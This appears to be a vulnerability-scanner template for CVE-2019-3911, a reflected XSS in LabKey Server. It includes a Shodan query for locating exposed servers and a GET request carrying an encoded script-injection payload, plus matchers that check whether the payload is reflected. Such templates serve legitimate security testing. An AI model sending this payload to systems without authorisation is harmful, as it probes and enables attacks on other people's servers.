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id : CVE-2019-3911
info :
name : LabKey Server < 18.3.0 - XSS
author : princechaddha
severity : medium
description : Reflected cross-site scripting (XSS) vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 allows an unauthenticated remote attacker to inject arbitrary javascript via the onerror parameter in the /__r2/query endpoints.
reference :
- https://www.tenable.com/security/research/tra-2019-03
- https://www.cvedetails.com/cve/CVE-2019-3911
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metadata :
shodan-query : "Server: Labkey"
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tags : cve,cve2019,xss,labkey
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classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.10
cve-id : CVE-2019-3911
cwe-id : CWE-79
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requests :
- method : GET
path :
- '{{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL'
matchers-condition : and
matchers :
- type : word
part : body
words :
- "</script><script>alert(document.domain)</script>"
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
